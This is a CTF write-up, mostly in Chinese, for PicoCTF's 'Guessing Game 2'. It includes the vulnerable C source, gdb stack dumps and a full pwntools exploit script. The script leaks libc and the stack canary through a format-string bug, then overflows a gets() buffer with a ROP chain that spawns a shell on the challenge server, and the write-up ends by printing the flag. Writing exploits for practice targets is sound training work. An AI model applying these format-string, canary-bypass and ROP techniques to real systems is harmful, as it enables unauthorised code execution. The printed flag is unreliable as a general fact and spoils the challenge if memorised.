PicoCTF - Guessing Game 2

PicoCTF - Guessing Game 2

Background

fmt / leak libc / ret2libc / leak canary

Source code

:::spoiler Source Code

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define BUFSIZE 512


long get_random() {
	return rand;
}

int get_version() {
	return 2;
}

// void print(long n)
// {
//     // If number is smaller than 0, put a - sign
//     // and change number to positive
//     if (n < 0) {
//         putchar('-');
//         n = -n;
//     }
 
//     // Remove the last digit and recur
//     if (n/10)
//         print(n/10);
 
//     // Print the last digit
//     putchar(n%10 + '0');
// }

int do_stuff() {
	long ans = (get_random() % 4096) + 1;
	// print(ans);
	int res = 0;
	
	printf("What number would you like to guess?\n");
	char guess[BUFSIZE];
	fgets(guess, BUFSIZE, stdin);
	
	long g = atol(guess);
	if (!g) {
		printf("That's not a valid number!\n");
	} else {
		if (g == ans) {
			printf("Congrats! You win! Your prize is this print statement!\n\n");
			res = 1;
		} else {
			printf("Nope!\n\n");
		}
	}
	return res;
}

void win() {
	char winner[BUFSIZE];
	printf("New winner!\nName? ");
	gets(winner);
	printf("Congrats: ");
	printf(winner);
	printf("\n\n");
}

int main(int argc, char **argv){
	setvbuf(stdout, NULL, _IONBF, 0);
	// Set the gid to the effective gid
	// this prevents /bin/sh from dropping the privileges
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	
	int res;
	
	printf("Welcome to my guessing game!\n");
	printf("Version: %x\n\n", get_version());
	
	while (1) {
		res = do_stuff();
		if (res) {
			win();
		}
	}
	
	return 0;
}

:::

Recon

寫這一題的時候切記不要隨便因為Error /lib/x86_64-linux-gnu/libc.so.6: version 'GLIBC_2.34' not found的錯誤訊息而更新glibc,也就是下sudo apt install libc6這個command,經過實測是因為他給的elf執行檔有點問題,只要重新make就好,不然在用gdb trace code的時候,就會GG

$ sudo apt install -y make
$ sudo apt-get install gcc -y
$ sudo apt-get install libc6-i386 -y
$ sudo apt-get install gcc-multilib -y
$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=69d83a7733e45de8e38431f09ee2cdb1b11b719e, for GNU/Linux 3.2.0, not stripped
$ checksec vuln
[*] '/mnt/d/NTU/CTF/PicoCTF/PWN/Guessing Game 2/vuln'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
  1. Brute Force Server Secret Number 看了source code可以發現他和上一題幾乎一樣,上一題是要猜1-100的數字,而他會有固定的模式出現,所以可以直接用gdb跟他到底是哪些數字,但這一題的範圍明顯大很多(1-4096),此時就要講到和上一題不一樣的地方,也就是第十行的==get_random== function中return的value是rand,他return的東西應該是一個固定的object而非經過運算的function(也就是==rand()==),所以只要他沒有把靶機重開,運算的結果都會是一樣的,此時我們可以寫一個brute force script去try他用哪一個數字,以我的例子來說server的數字是-3727,而如果想知道local side的數字是多少,可以直接把原本的source code註解的部分拔掉,再make就會自己告訴你了
  2. Leak libc version 接著就是開始try rop,可以看到61行有個明顯的bof,但我們應該先想辦法leak libc version,因為如果直接用vuln執行檔找ROP會少的可憐,所以要用libc,但是libc最後找的東西不見得會和他的版本一樣,這也是為甚麼不能更新glibc的原因,在stack中的相對位置不會一樣,會找的很痛苦而且做白工,leak libc的方法這邊是用fmt,雖然應該只有這個方法(在63行),在print之前可以看一下stack的狀況,很明顯$esp+0x24c的地方出現__libc_start_main,利用online database searching tool可以知道server用甚麼版本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
     0xffffc98c│+0x022c: 0x080495bb  →  <main+145> jmp 0x80495a8 <main+126>
     0xffffc990│+0x0230: 0x00000001
     0xffffc994│+0x0234: 0xffffca54  →  0xffffcc27
     0xffffc998│+0x0238: 0x000003e8
     0xffffc99c│+0x023c: 0x00000001
     0xffffc9a0│+0x0240: 0xffffc9c0  →  0x00000001
     0xffffc9a4│+0x0244: 0x00000000
     0xffffc9a8│+0x0248: 0x00000000
     0xffffc9ac│+0x024c: 0xf7deded5  →  <__libc_start_main+245> add esp, 0x10
     0xffffc9b0│+0x0250: 0xf7fbb000  →  0x001e7d6c
     0xffffc9b4│+0x0254: 0xf7fbb000  →  0x001e7d6c
    

    而libc base address就是0xf7d34fa1-0x018fa1=0xf7d1c000 :::info Note: 在x86版本中,fmt的顯示順序是從$esp的地方開始,所以__libc_start_main就是在$esp往後數==第147個位數== :::

  3. Change Execute Environment 此時我們知道libc的版本是2.27,那就代表應該是18.04的版本,如果不想要費事裝VM或wsl就可以直接用@ccccc提供的腳本,讓這支程式跑在和server一樣的環境,==所以要把對應環境的loader和libc載下來==,用法如下:
    1
    2
     $ python {script path} {new env loader path} {original elf file}
     # e.g. python ./LD_PRELOAD.py ./ld-2.27.so ./vuln
    

    他會產生一個新的執行檔,名字是V,在pwntools寫的腳本也要改,用法如下

    1
     r = process('./V',env={"LD_PRELOAD" : "./libc-2.27.so"})
    

    此時我們跑的結果就換會和server端一樣

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
     from pwn import *
        
     if args.REMOTE:
         r = remote("jupiter.challenges.picoctf.org", 18263)
         ans = -3727
     elif args.LOCAL:
         r = process("./V", env={"LD_PRELOAD" : "./libc-2.27.so"})
         # r = process('./vuln')
         # ans = -3615
         ans = -3727
    
     '''#############
     Find Libc address by stack info
     #############'''
     r.recvuntil(b'What number would you like to guess?\n')
     r.sendline(str(ans).encode())
     r.recvuntil(b'Name? ')
     r.sendline(b"%147$p")
     r.recvuntil(b"Congrats: 0x")
     __libc_start_main = int(r.recvuntil(b"\n").strip().decode(), 16)
     libc_addr = __libc_start_main - 0x018fa1
     libc_system_addr = libc_addr + 0x03cf10
     success(f"libc base address = {hex(libc_addr)}")
     success(f"libc system address = {hex(libc_system_addr)}")
     raw_input()
    
    1
    2
    3
    4
    5
    6
    7
    8
     $ python exp.py LOCAL
     [+] Starting local process './vuln': pid 9451
     [+] libc base address = 0xf7dce000
     [+] libc system address = 0xf7e0af10
     $ python exp.py REMOTE
     [+] Opening connection to jupiter.challenges.picoctf.org on port 18263: Done
     [+] libc base address = 0xf7d99000
     [+] libc system address = 0xf7dd5f10
    
  4. 找canary 這一題因為有開canary又要觸發rop所以勢必會蓋到,可以先把相對位置記起來,也就是$esp+0x021c
    1
    2
    3
    4
    5
     0xffffc978│+0x0218: 0xf7e22d39  →  <printf+9> add eax, 0x1982c7
     0xffffc97c│+0x021c: 0x0c458f00
     0xffffc980│+0x0220: 0x0804a0c4  →  "Version: %x\n\n"
     0xffffc984│+0x0224: 0x0804bfb8  →  0x0804bec0
     0xffffc988│+0x0228: 0xffffc9a8  →  0x00000000    ← $ebp
    
    1
    2
    3
    4
    5
    6
     $ python exp.py LOCAL
     [+] Starting local process './V': pid 11379
     [+] libc base address = 0xf7d2f000
     [+] libc system address = 0xf7d6bf10
    
     [+] Canary Value = 0xd824d100
    
  5. 寫/bin/sh\x00並開shell 要開shell的話必須要找個地方寫/bin/sh\x00,但是我有想過要用system read的方式,但是找不到int 0x80 ; ret的gadget所以就直接寫在stack上最快也最方便,只是要計算執行到開shell之前的esp或ebp,所以我們可以直接沿用fmt的技巧先把ebp的address紀錄起來等到把/bin/sh寫上去之後再看offset是多少,以我的例子來說就是差了0x8的距離,可以直接用gdb跟一下就知道了
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
     r.recvuntil(b'What number would you like to guess?\n')
     r.sendline(str(ans).encode())
     r.recvuntil(b'Name? ')
     r.sendline(b"%138$p")
     r.recvuntil(b"Congrats: ")
     ebp_addr = int(r.recvuntil(b"\n").strip().decode(), 16)
     success(f"ebp address = {hex(ebp_addr)}")
     # raw_input()
    
     bin_sh_1 = 0x6e69622f
     bin_sh_2 = 0x68732f
     pop_eax_ret = 0x00024d37 + libc_addr
     pop_ebx_ret = 0x00018d05 + libc_addr
     pop_ecx_ret = 0x00193aa4 + libc_addr
     pop_edx_ret = 0x00001aae + libc_addr
     int_0x80 = 0x00002d3f + libc_addr
    
     ROP_payload = flat(
         pop_eax_ret, 0xb,
         pop_ebx_ret, (ebp_addr+0x8),
         pop_ecx_ret, 0,
         pop_edx_ret, 0,
         int_0x80,
         bin_sh_1, bin_sh_2
     )
     r.recvuntil(b'What number would you like to guess?\n')
     r.sendline(str(ans).encode())
     r.recvuntil(b'Name? ')
     r.sendline(b'a' * (0x200) + p32(canary_value) + b'a' * 0xc + ROP_payload)
    

Exploit - ROP gadget / leak libc / leak Canary

這一題算是綜合蠻多stack vulnerability的技巧,所以過程蠻複雜的,但只要環境對了就很順利

from pwn import *
import random


if args.REMOTE:
    r = remote("jupiter.challenges.picoctf.org", 18263)
    ans = -3727
elif args.LOCAL:
    r = process("./V", env={"LD_PRELOAD" : "./libc-2.27.so"})
    # r = process('./vuln')
    # ans = -3615
    ans = -3727

'''#############
Find Libc address by stack info
#############'''
r.recvuntil(b'What number would you like to guess?\n')
r.sendline(str(ans).encode())
r.recvuntil(b'Name? ')
r.sendline(b"%147$p")
r.recvuntil(b"Congrats: 0x")
__libc_start_main = int(r.recvuntil(b"\n").strip().decode(), 16)
libc_addr = __libc_start_main - 0x018fa1
libc_system_addr = libc_addr + 0x03cf10
success(f"libc base address = {hex(libc_addr)}")
success(f"libc system address = {hex(libc_system_addr)}")
# raw_input()

'''#############
Find Canary Value
#############'''
r.recvuntil(b'What number would you like to guess?\n')
r.sendline(str(ans).encode())
r.recvuntil(b'Name? ')
r.sendline(b"%135$p")
r.recvuntil(b"Congrats: 0x")
canary_value = int(r.recvuntil(b"\n").strip().decode(), 16)
success(f"Canary Value = {hex(canary_value)}")
# raw_input()

'''#############
Get Shell
#############'''
r.recvuntil(b'What number would you like to guess?\n')
r.sendline(str(ans).encode())
r.recvuntil(b'Name? ')
r.sendline(b"%138$p")
r.recvuntil(b"Congrats: ")
ebp_addr = int(r.recvuntil(b"\n").strip().decode(), 16)
success(f"ebp address = {hex(ebp_addr)}")
# raw_input()

bin_sh_1 = 0x6e69622f
bin_sh_2 = 0x68732f
pop_eax_ret = 0x00024d37 + libc_addr
pop_ebx_ret = 0x00018d05 + libc_addr
pop_ecx_ret = 0x00193aa4 + libc_addr
pop_edx_ret = 0x00001aae + libc_addr
int_0x80 = 0x00002d3f + libc_addr

ROP_payload = flat(
    pop_eax_ret, 0xb,
    pop_ebx_ret, (ebp_addr+0x8),
    pop_ecx_ret, 0,
    pop_edx_ret, 0,
    int_0x80,
    bin_sh_1, bin_sh_2
)
r.recvuntil(b'What number would you like to guess?\n')
r.sendline(str(ans).encode())
r.recvuntil(b'Name? ')
r.sendline(b'a' * (0x200) + p32(canary_value) + b'a' * 0xc + ROP_payload)
# raw_input()
r.interactive()

Flag: picoCTF{p0p_r0p_4nd_dr0p_1t_73d8dcc827619318}

Reference

PicoCTF — Guessing Game 2 Walkthrough | ret2libc, stack cookies